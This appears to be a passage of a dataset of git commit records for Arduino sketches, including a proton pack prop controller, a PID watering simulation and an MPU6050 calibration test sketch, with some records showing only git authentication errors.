putstring(\", type is FAT\");\n Serial.println(vol.fatType(), DEC); \/\/ FAT16 or FAT32?\n *\/\n \n \/\/ Try to open the root directory\n if (!root.openRoot(vol)) {\n putstring_nl(\"Can't open root dir!\"); \/\/ Something went wrong,\n while(1); \/\/ then 'halt' - do nothing!\n }\n \n \/\/ Whew! We got past the tough parts.\n putstring_nl(\"Ready!\");\n \n TCCR2A = 0;\n TCCR2B = 1<<CS22 | 1<<CS21 | 1<<CS20;\n \n \/\/Timer2 Overflow Interrupt Enable\n TIMSK2 |= 1<<TOIE2;\n}\n\nvoid loop() {\n unsigned long currentMillis = millis();\n byte i;\n static int g = 0;\n static int d = 0;\n \/\/ Start up power cell\n if (justpressed[0]) {\n justpressed[0] = 0;\n\tplayfile(\"on.wav\");\n }\n \/\/ Shut down power cell\n else if (justreleased[0]) {\n justreleased[0] = 0;\n playfile(\"pwroff.wav\");\n \/\/ ******************************** powerdown();\n for (int j = 14; j > -1; j--) {\n if (currentMillis - previousMillis_off > off_interval) {\n previousMillis_off = currentMillis;\n \/\/ load the light sequence you want from array\n \t dataPWRCL1 = daPWRCL1[j];\n \t dataPWRCL2 = daPWRCL2[j];\n \n \/\/ ground latchPin and hold low for transmitting.\n digitalWrite(latchPin, 0);\n \/\/ Send data to 595's.\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n \/\/ return the latch pin high to signal chip that it \n \/\/ no longer needs to listen for information\n digitalWrite(latchPin, 1);\n \/\/ ***** delay(30);\n }\n }\n digitalWrite(latchPin, 0);\n shiftOut(dataPinGUN, clockPinGUN, 0x40);\n shiftOut(dataPinGUN, clockPinGUN, 0x00);\n digitalWrite(latchPin, 1);\n \n digitalWrite(latchPin, LOW);\n }\n\t\t\t\t\t\n \/\/ Start up powercell and thrower (gun) lights when the pack is powered on.\n if (pressed[0] == HIGH) {\n for (int j = 0; j < 15; j++) {\n if (currentMillis - previousMillis_on > pwrcl_interval) {\n \/\/ save the last time you blinked the LED\n previousMillis_on = currentMillis;\n \/\/load the light sequence you want from array\n \t dataPWRCL1 = daPWRCL1[j];\n \t dataPWRCL2 = daPWRCL2[j];\n \t\t\t\t\n \/\/ THIS WILL SET GUN ARRAY TO HOW EVER MANY YOU HAVE IN YOUR ARRAY\n \t if (g > 25) {\n g = 0;\n }\n \t dataGUN1 = daGUN1[g];\n \t dataGUN2 = daGUN2[g];\n \t g++;\n \t\t\t\t\t\t\n \t \/\/ground latchPin and hold low for as long as you are transmitting\n digitalWrite(latchPin, 0);\n \t \/\/move 'em out\n \t shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n \t shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n \t shiftOut(dataPinGUN, clockPinGUN, dataGUN2);\n \t shiftOut(dataPinGUN, clockPinGUN, dataGUN1);\n \t \/\/return the latch pin high to signal chip that it \n \t \/\/no longer needs to listen for information\n digitalWrite(latchPin, 1);\n \t \/\/ ***** delay(60);\n }\n } \t\n }\n\n\n \/\/ Thrower activation - checks if gun is ON if not it will not do anything.\n if (pressed[0] == HIGH) {\n \/\/ if the fire button is pressed \n if (pressed[1]) {\n playfile(\"gun2.wav\");\n \twhile (wave.isplaying && pressed[1]) {\n for (int j = 0; j < 15; j++) {\n if (currentMillis - previousMillis_fire > firing_interval) {\n previousMillis_fire = currentMillis;\n \t \/\/load the light sequence you want from array\n \t\t dataPWRCL1 = daPWRCL1[j];\n \t\t dataPWRCL2 = daPWRCL2[j];\n \t\t dataGUNON1 = daGUNON1[j];\n \t\t dataGUNON2 = daGUNON2[j];\n \t\t \/\/ground latchPin and hold low for as long as you are transmitting\n \t\t digitalWrite(latchPin, 0);\n \t\t \/\/move 'em out\n \t\t shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1); \n \t\t shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n \t\t shiftOut(dataPinGUN, clockPinGUN, dataGUNON2); \n \t\t shiftOut(dataPinGUN, clockPinGUN, dataGUNON1);\n \n \t\t \/\/return the latch pin high to signal chip that it \n \t\t \/\/no longer needs to listen for information\n \t\t digitalWrite(latchPin, 1);\n \t\t \/\/ ***** delay(40);\n }\n }\n }\n wave.stop();\n }\n \/\/play power down file \n else if (justreleased[1]) {\n justreleased[1] = 0;\n \t playfile(\"off.wav\");\n }\n }\n else {\n \/\/ Gun is not on\n }\n\n \/\/count and increment X. this will play music and you can hit the button to go to the next song. \n static int x = 0;\n if (justpressed[2]) {\n x++;\n if (x == 1) {\n justpressed[2] = 0;\n\t playfile(\"1.wav\");\n }\n if (x == 2) {\n justpressed[2] = 0;\n \t playfile(\"2.wav\");\n }\n if (x == 3) {\n justpressed[2] = 0;\n \t playfile(\"3.wav\");\n }\n if (x == 4) {\n \t justpressed[2] = 0;\n \t playfile(\"4.wav\");\n }\n if (x == 5) {\n justpressed[2] = 0;\n \t playfile(\"5.wav\");\n }\n if (x == 6) {\n justpressed[2] = 0;\n \t playfile(\"6.wav\");\n \t x = 0;\n }\n }\n}\n\n\n\/\/ this handy function will return the number of bytes currently free in RAM, great for debugging!\nvoid sdErrorCheck(void) {\n if (!card.errorCode()) return;\n putstring(\"\\n\\rSD I\/O error: \");\n Serial.print(card.errorCode(), HEX);\n putstring(\", \");\n Serial.println(card.errorData(), HEX);\n while(1);\n}\n\n\n\/\/ Plays a full file from beginning to end with no pause.\nvoid playcomplete(char *name) {\n \/\/ call our helper to find and play this name\n playfile(name);\n while (wave.isplaying) {\n \/\/ do nothing while its playing\n }\n \/\/ now its done playing\n}\n\nvoid playfile(char *name) {\n \/\/ see if the wave object is currently doing something\n if (wave.isplaying) {\/\/ already playing something, so stop it!\n wave.stop(); \/\/ stop it\n }\n \/\/ look in the root directory and open the file\n if (!f.open(root, name)) {\n putstring(\"Couldn't open file \");\n Serial.print(name);\n return;\n }\n \/\/ OK read the file and turn it into a wave object\n if (!wave.create(f)) {\n putstring_nl(\"Not a valid WAV\");\n return;\n }\n \n \/\/ ok time to play! start playback\n wave.play();\n}\n\n\n\/\/ Power-down light sequence.\nvoid powerdown() {\n}\n\n\n\/\/ the heart of the program\nvoid shiftOut(int myDataPin, int myClockPin, byte myDataOut) {\n \/\/ This shifts 8 bits out MSB first, \n \/\/ on the rising edge of the clock,\n \/\/ clock idles low\n\n \/\/ internal function setup\n int i = 0;\n int pinState;\n pinMode(myClockPin, OUTPUT);\n pinMode(myDataPin, OUTPUT);\n\n \/\/clear everything out just in case to\n \/\/prepare shift register for bit shifting\n digitalWrite(myDataPin, 0);\n digitalWrite(myClockPin, 0);\n\n \/\/for each bit in the byte myDataOut?\n \/\/NOTICE THAT WE ARE COUNTING DOWN in our for loop\n \/\/This means that %00000001 or \"1\" will go through such\n \/\/that it will be pin Q0 that lights. \n for (i = 7; i >= 0; i--) {\n digitalWrite(myClockPin, 0);\n \n \/\/if the value passed to myDataOut and a bitmask result \n \/\/ true then... so if we are at i=6 and our value is\n \/\/ %11010100 it would the code compares it to %01000000 \n \/\/ and proceeds to set pinState to 1.\n if ( myDataOut & (1 << i) ) {\n pinState = 1;\n }\n else {\t\n pinState = 0;\n }\n \n \/\/Sets the pin to HIGH or LOW depending on pinState\n digitalWrite(myDataPin, pinState);\n \/\/register shifts bits on upstroke of clock pin \n digitalWrite(myClockPin, 1);\n \/\/zero the data pin after shift to prevent bleed through\n digitalWrite(myDataPin, 0);\n }\n \/\/stop shifting\n digitalWrite(myClockPin, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'proton_pack.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"998b127cc803f214c594f505e3fee04be22725d9","subject":"testing minute calc","message":"testing minute calc\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5627c9115e571f442efb9f98c74e2841fcdc7640","subject":"firmware verification: add water control","message":"firmware verification: add water control","repos":"FBTUG\/DevZone,FBTUG\/DevZone,FBTUG\/DevZone,FBTUG\/DevZone,FBTUG\/DevZone","old_file":"firmware\/verification\/water_control\/pid_sim\/pid_sim.ino","new_file":"firmware\/verification\/water_control\/pid_sim\/pid_sim.ino","new_contents":"\/********************************************************\n\n PID watering control - simulation\n By faking watering relay control and fake weight measurement. Study and optimize the control method\n Features:\n 1. High bound limit\n Reference PID RelayOutput Example: http:\/\/playground.arduino.cc\/Code\/PIDLibraryRelayOutputExample\n ********************************************************\/\n\n#include <PID_v1.h>\n#define RelayPin 6\n\n\/\/Define Variables we'll be connecting to\ndouble Setpoint, Input, Output;\n\n\/\/Specify the links and initial tuning parameters\nPID myPID(&Input, &Output, &Setpoint, 2, 5, 1, DIRECT);\n\n\/\/ unit definition: weight: g, volumn: cl, rate: g\/second\nint WindowSize = 5000; \/\/ relay control window size\nint relay_control_dur = 200; \/\/ms\nunsigned long windowStartTime;\nint prev_relay_stat = 0;\nint cur_relay_stat = 0;\nunsigned long prev_time = 0;\nfloat prev_weight;\nfloat ideal_rate = 10.0; \/\/ watering rate\nfloat loss_rate = 0.1; \/\/ nature loss rate\nfloat act_rate = 0;\ndouble dry_weight = 1950; \/\/ initial weight\ndouble target_weight = 2000; \/\/ control weight\ndouble target_margin = 6;\ndouble weight_cur = dry_weight;\ndouble time_diff;\n\n\nvoid set_relay(int stat) {\n if (weight_cur >= target_weight + target_margin) { \/\/apply high bound\n stat = 0;\n }\n prev_relay_stat = cur_relay_stat;\n cur_relay_stat = stat;\n digitalWrite(RelayPin, stat);\n}\n\n\/\/ by relay on\/off time calulation to estimate the weight\ndouble fake_measure(unsigned long time_now) {\n time_diff = (time_now - prev_time) \/ 1000.0; \/\/ per second\n if (cur_relay_stat == 1) {\n weight_cur += time_diff * ideal_rate;\n }\n weight_cur -= time_diff * loss_rate;\n return weight_cur;\n}\n\n\nvoid setup()\n{\n Serial.begin(9600);\n prev_weight = dry_weight;\n windowStartTime = millis();\n prev_time = windowStartTime;\n \/\/initialize the variables we're linked to\n Setpoint = target_weight;\n\n \/\/tell the PID to range between 0 and the full window size\n myPID.SetOutputLimits(0, WindowSize);\n\n \/\/turn the PID on\n myPID.SetMode(AUTOMATIC);\n}\n\nunsigned long loop_count = 0;\nvoid loop()\n{\n unsigned long now = millis();\n Input = fake_measure(now);\n Setpoint = target_weight;\n myPID.Compute();\n\n \/************************************************\n turn the output pin on\/off based on pid output\n ************************************************\/\n\n if (now - windowStartTime > WindowSize)\n { \/\/time to shift the Relay Window\n windowStartTime += WindowSize;\n }\n if (Output > now - windowStartTime) set_relay(HIGH);\n else set_relay(LOW);\n\n \/\/ debug print\n if (1) {\n if (loop_count % 1 == 0 ) {\n \/\/weight_cur,Output,cur_relay_stat\n Serial.print(weight_cur);\n Serial.print(\",\"); Serial.print(Output);\n Serial.print(\",\"); Serial.println(cur_relay_stat);\n }\n } else { \/\/ for plotter\n Serial.println(weight_cur);\n }\n\n prev_time = now;\n loop_count++;\n delay(relay_control_dur);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/verification\/water_control\/pid_sim\/pid_sim.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"03053d74928697f3aeae599228deb985a9577b1e","subject":"it is most important if we hit the stop","message":"it is most important if we hit the stop\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC5041.ino","new_file":"ArduinoClient\/TMC5041.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1eccaeef8c719095be1d6f547319907c5622bdfe","subject":"upload DIYino Stardust test sketch","message":"upload DIYino Stardust test sketch","repos":"Protonerd\/DIYino","old_file":"DIYino_Testsketch_Pro.ino","new_file":"DIYino_Testsketch_Pro.ino","new_contents":"\/\/ Arduino sketch that returns calibration offsets for MPU6050 \/\/ Version 1.1 (31th January 2014)\n\/\/ Done by Luis R\u00f3denas <luisrodenaslorda@gmail.com>\n\/\/ Based on the I2Cdev library and previous work by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates (of the library) should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\n\/\/ These offsets were meant to calibrate MPU6050's internal DMP, but can be also useful for reading sensors. \n\/\/ The effect of temperature has not been taken into account so I can't promise that it will work if you \n\/\/ calibrate indoors and then use it outdoors. Best is to calibrate and use at the same room temperature.\n\n\/* ========== LICENSE ==================================\n I2Cdev device library code is placed under the MIT license\n Copyright (c) 2011 Jeff Rowberg\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n =========================================================\n *\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries\n#include <I2Cdev.h>\n#include <EEPROMex.h> \/\/ include EEPROM library to write the calibrated offset values into the EEPROM\n#include <Arduino.h>\n#include <DFPlayer.h>\n#include <MPU6050_6Axis_MotionApps20.h>\n#include <OneButton.h>\n\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n#include <Wire.h>\n#endif\n\n#define MEMORYBASEMPUCALIBOFFSET 200 \/\/ start storing the calibration values starting at this address\n#define DEBUGVERBOSE\n#define DFPLAYER_RX 8\n#define DFPLAYER_TX 7\n#define SPK1 20 \/\/A6\n#define SPK2 21 \/\/A7\n\n\n#define MAIN_BUTTON 12\n#define LOCKUP_BUTTON 4\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ CONFIGURATION \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/Change this 3 variables if you want to fine tune the skecth to your needs.\nint buffersize=1000; \/\/Amount of readings used to average, make it higher to get more precision but sketch will be slower (default:1000)\nint discardfirstmeas=100; \/\/ Amount of initial measurements to be discarded\nint acel_deadzone=10; \/\/Acelerometer error allowed, make it lower to get more precision, but sketch may not converge (default:8)\nint giro_deadzone=10; \/\/Giro error allowed, make it lower to get more precision, but sketch may not converge (default:1)\nint accel_offset_divisor=8; \/\/8;\nint gyro_offset_divisor=4; \/\/4;\n\/\/ deadzone: amount of variation between 2 consecutive measurements\n\n\/\/ default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu;\n\/\/MPU6050 mpu(0x69); \/\/ <-- use for AD0 high\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\nuint16_t mpuFifoCount; \/\/ count of all bytes currently in FIFO\n\/\/ calibrated acc\/gyro values\nint16_t ax_zero, ay_zero, az_zero;\nint16_t gx_zero, gy_zero, gz_zero;\n\/\/ orientation\/motion vars\nQuaternion quaternion; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nstatic Quaternion quaternion_last; \/\/ [w, x, y, z] quaternion container\nstatic Quaternion quaternion_reading; \/\/ [w, x, y, z] quaternion container\nstatic VectorInt16 aaWorld_last; \/\/ [x, y, z] world-frame accel sensor measurements\nstatic VectorInt16 aaWorld_reading; \/\/ [x, y, z] world-frame accel sensor measurements\n\nint16_t ax, ay, az,gx, gy, gz;\n\n\nint mean_ax,mean_ay,mean_az,mean_gx,mean_gy,mean_gz,state=0;\nint ax_offset,ay_offset,az_offset,gx_offset,gy_offset,gz_offset;\nint ax_initoffset,ay_initoffset,az_initoffset,gx_initoffset,gy_initoffset,gz_initoffset;\nint16_t ax_offsetEEPROM,ay_offsetEEPROM,az_offsetEEPROM,gx_offsetEEPROM,gy_offsetEEPROM,gz_offsetEEPROM;\nunsigned int calibratedOffsetAdress = 0;\nbool forceCalibration = false;\nbool CalibResult=false;\nbool BlasterBoard=false;\nunsigned long sndRepeat = millis();\n\nunsigned int loopcount=0;\n\n\/***************************************************************************************************\n * LED String variables\n *\/\n#define LEDSTRING1 3\n#define LEDSTRING2 5\n#define LEDSTRING3 6\n#define LEDSTRING4 9\n#define LEDSTRING5 10\n#define LEDSTRING6 11\nuint8_t ledPins[] = { LEDSTRING1, LEDSTRING2, LEDSTRING3, LEDSTRING4,\nLEDSTRING5, LEDSTRING6 };\nuint8_t LEDbrightness;\nint8_t signSoundFile, signVolume, signBrightness;\n\n\/***************************************************************************************************\n * DFPLAYER variables\n *\/\nDFPlayer dfplayer;\nuint8_t dfplayer_volume;\nuint8_t SoundFile;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ SETUP \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n\n\n\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz). Comment this line if having compilation difficulties with TWBR.\n#elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n#endif\n\n\/\/ Serial line for debug\nSerial.begin(115200);\n\n \/***** DF PLAYER INITIALISATION *****\/\n dfplayer.setSerial(DFPLAYER_TX, DFPLAYER_RX);\n dfplayer.setVolume(15);\n delay(500);\n pinMode(SPK1, INPUT);\n pinMode(SPK2, INPUT);\n\n \/\/setup finished. Boot ready. We notify !\n dfplayer.playPhysicalTrack(1);\n delay(200);\n \/\/ initialise global loop variables\n LEDbrightness=0;\n SoundFile=1;\n signBrightness=1;\n signSoundFile=1;\n signVolume=1;\n\n BlasterBoard=false; \/\/ assume a Stardust\/Prime board with MPU\n \/\/ initialize device\n mpu.initialize();\n\n if (mpu.testConnection() ) {\n \/* \/\/ wait for ready\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n while (!Serial.available()){\n Serial.println(F(\"Send any character to start sketch.\\n\"));\n delay(1500);\n } \n while (Serial.available() && Serial.read()); \/\/ empty buffer again\n \n \/\/ start message\n Serial.println(\"\\nMPU6050 Calibration Sketch\");\n delay(2000);\n Serial.println(\"\\nYour MPU6050 should be placed in horizontal position, with package letters facing up. \\nDon't touch it until you see a finish message.\\n\");\n delay(3000);\n \/\/ verify connection\n Serial.println(mpu.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n delay(1000);\n *\/\n \/\/ reset offsets\n ax_initoffset=0;\n ay_initoffset=0;\n az_initoffset=0;\n gx_initoffset=0;\n gy_initoffset=0;\n gz_initoffset=0;\n \n mpu.setXAccelOffset(ax_initoffset);\n mpu.setYAccelOffset(ay_initoffset);\n mpu.setZAccelOffset(az_initoffset);\n mpu.setXGyroOffset(gx_initoffset);\n mpu.setYGyroOffset(gy_initoffset);\n mpu.setZGyroOffset(gz_initoffset);\n \n \/\/ set the fll scale range of the gyro- and accelerometer respectively\n mpu.setFullScaleGyroRange(0); \/\/0: 250deg\/s | 1: 500deg\/s | 2: 1000deg\/s | 3: 2000deg\/s\n mpu.setFullScaleAccelRange(0); \/\/0: 2g | 1: 4g | 2: 8g | 3: 16g\n \n \/\/ Get config from EEPROM if there is one\n \/\/ or initialise value with default ones set in StoreStruct\n EEPROM.setMemPool(MEMORYBASEMPUCALIBOFFSET, EEPROMSizeATmega328); \/\/Set memorypool base, assume Arduino Uno board\n }\n else {\n BlasterBoard=true;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ LOOP \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop() {\n \n\/\/ variable declaration\nint16_t mpu_caliboffset_AccX, mpu_caliboffset_AccY, mpu_caliboffset_AccZ, mpu_caliboffset_GyroX, mpu_caliboffset_GyroY, mpu_caliboffset_GyroZ;\n \nif (!BlasterBoard) {\n if (state==0){\n \/\/ Check if the device is already calibrated (EEPROM filled) and not forceCalibration\n bool execCalib=true;\n int addressInt=MEMORYBASEMPUCALIBOFFSET;\n for (uint8_t i = MEMORYBASEMPUCALIBOFFSET; i < MEMORYBASEMPUCALIBOFFSET+12; (i=i+2)) {\n Serial.print(i);Serial.print(\" : EEPROM Data \");Serial.println(EEPROM.readInt(i));\n if ((EEPROM.readInt(i) != 65535 ) and forceCalibration==false) {\n execCalib=false;\n }\n }\n if (execCalib==false) {\n state=3; \/\/ jump to test sequence\n }\n else {\n Serial.println(\"\\nReading sensors for first time...\");\n meansensors();\n \/\/if (abs(mean_ax)>=32000){ax_initoffset=-mean_ax;Serial.println(\"\\nRemove X-axis deadlock...\");}\n \/\/if (abs(mean_ay)>=32000){ay_initoffset=-mean_ay;Serial.println(\"\\nRemove Y-axis deadlock...\");}\n \/\/if (mean_az<-32000){az_initoffset=-mean_az;Serial.println(\"\\nRemove Z-axis deadlock...\");}\n \/\/if (abs(mean_gx)>=32000){gx_initoffset=-mean_gx;Serial.println(\"\\nRemove Gyro X-axis deadlock...\");}\n \/\/if (abs(mean_gy)>=32000){gy_initoffset=-mean_gy;Serial.println(\"\\nRemove Gyro Y-axis deadlock...\");}\n \/\/if (mean_gz<-32000){gz_initoffset=-mean_gz;Serial.println(\"\\nRemove Gyro Z-axis deadlock...\");}\n state++;\n delay(1000);\n }\n }\n\n if (state==1) {\n Serial.println(\"\\nCalculating offsets...\");\n CalibResult=calibration();\n if (CalibResult) {\n Serial.println(\"\\nCalibration successful!\");\n }\n else {\n Serial.println(\"\\nCalibration failed!\");\n }\n state++;\n delay(1000);\n }\n\n if (state==2) {\n meansensors();\n ax_offsetEEPROM=ax_offset;\n ay_offsetEEPROM=ay_offset;\n az_offsetEEPROM=az_offset;\n gx_offsetEEPROM=gx_offset;\n gy_offsetEEPROM=gy_offset;\n gz_offsetEEPROM=gz_offset;\n \n Serial.println(\"\\nFINISHED!\");\n Serial.print(\"\\nSensor readings with offsets:\\t\");\n Serial.print(mean_ax); \n Serial.print(\"\\t\");\n Serial.print(mean_ay); \n Serial.print(\"\\t\");\n Serial.print(mean_az); \n Serial.print(\"\\t\");\n Serial.print(mean_gx); \n Serial.print(\"\\t\");\n Serial.print(mean_gy); \n Serial.print(\"\\t\");\n Serial.println(mean_gz);\n Serial.print(\"Your offsets:\\t\");\n Serial.print(ax_offset+ax_initoffset); \n Serial.print(\"\\t\");\n Serial.print(ay_offset+ay_initoffset); \n Serial.print(\"\\t\");\n Serial.print(az_offset+az_initoffset); \n Serial.print(\"\\t\");\n Serial.print(gx_offset+gx_initoffset); \n Serial.print(\"\\t\");\n Serial.print(gy_offset+gy_initoffset); \n Serial.print(\"\\t\");\n Serial.println(gz_offset+gz_initoffset); \n Serial.println(\"\\nData is printed as: acelX acelY acelZ giroX giroY giroZ\");\n Serial.println(\"Check that your sensor readings are close to 0 0 16384 0 0 0\");\n \n \/\/ wait for ready\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n if (CalibResult==false) {\n while (!Serial.available()){\n Serial.println(F(\"If you want to store the calibrated offset values into EEPROM, press \\\"y\\\" \\n\"));\n delay(1500);\n }\n int inByte=0; \n if (Serial.available() > 0) {\n \/\/while (Serial.available() && Serial.read()); \/\/ empty buffer again\n inByte = Serial.read();\n #ifdef DEBUGVERBOSE\n Serial.print(\"Pressed key: \");Serial.println(inByte);\n #endif\n }\n if (inByte==121) { \/\/ \"y\"\n CalibResult=true;\n }\n else {\n Serial.println(\"Exiting without storing calibrated offset values into EEPROM\");\n state=10; \/\/ do nothing\n }\n }\n \n if (CalibResult==true) {\n \n int addressInt = MEMORYBASEMPUCALIBOFFSET;\n int output;\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,ax_offsetEEPROM+ax_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 2\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,ay_offsetEEPROM+ay_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 3\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,az_offsetEEPROM+ax_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 4\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,gx_offsetEEPROM+gx_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 5\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,gy_offsetEEPROM+gy_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n \/\/ 6\n addressInt = EEPROM.getAddress(sizeof(int));\n EEPROM.updateInt(addressInt,gz_offsetEEPROM+gz_initoffset);\n #ifdef DEBUGVERBOSE\n output = EEPROM.readInt(addressInt);\n Serial.print(\"address: \");Serial.println(addressInt);Serial.print(\"output: \");Serial.println(output);Serial.println(\"\");\n #endif\n Serial.println(\"Calibrated offset values stored in EEPROM!\");\n state++;\n }\n }\n \n if (state==3) { \/\/ start of the test routine\n \/\/ retreive MPU6050 calibrated offset values from EEPROM\n EEPROM.setMemPool(MEMORYBASEMPUCALIBOFFSET, EEPROMSizeATmega328);\n int addressInt=MEMORYBASEMPUCALIBOFFSET;\n mpu_caliboffset_AccX=EEPROM.readInt(addressInt);\n mpu.setXAccelOffset(mpu_caliboffset_AccX);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated AcceleroX Offset: \");Serial.println(mpu_caliboffset_AccX);Serial.println(\"\");\n \n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int)); \n mpu_caliboffset_AccY=EEPROM.readInt(addressInt);\n mpu.setYAccelOffset(mpu_caliboffset_AccY);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated AcceleroY Offset: \");Serial.println(mpu_caliboffset_AccY);Serial.println(\"\");\n \n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int));\n mpu_caliboffset_AccZ=EEPROM.readInt(addressInt);\n mpu.setZAccelOffset(mpu_caliboffset_AccZ);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated AcceleroZ Offset: \");Serial.println(mpu_caliboffset_AccZ);Serial.println(\"\");\n \n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int));\n mpu_caliboffset_GyroX=EEPROM.readInt(addressInt);\n mpu.setXGyroOffset(mpu_caliboffset_GyroX);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated GyroX Offset: \");Serial.println(mpu_caliboffset_GyroX);Serial.println(\"\");\n \n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int)); \n 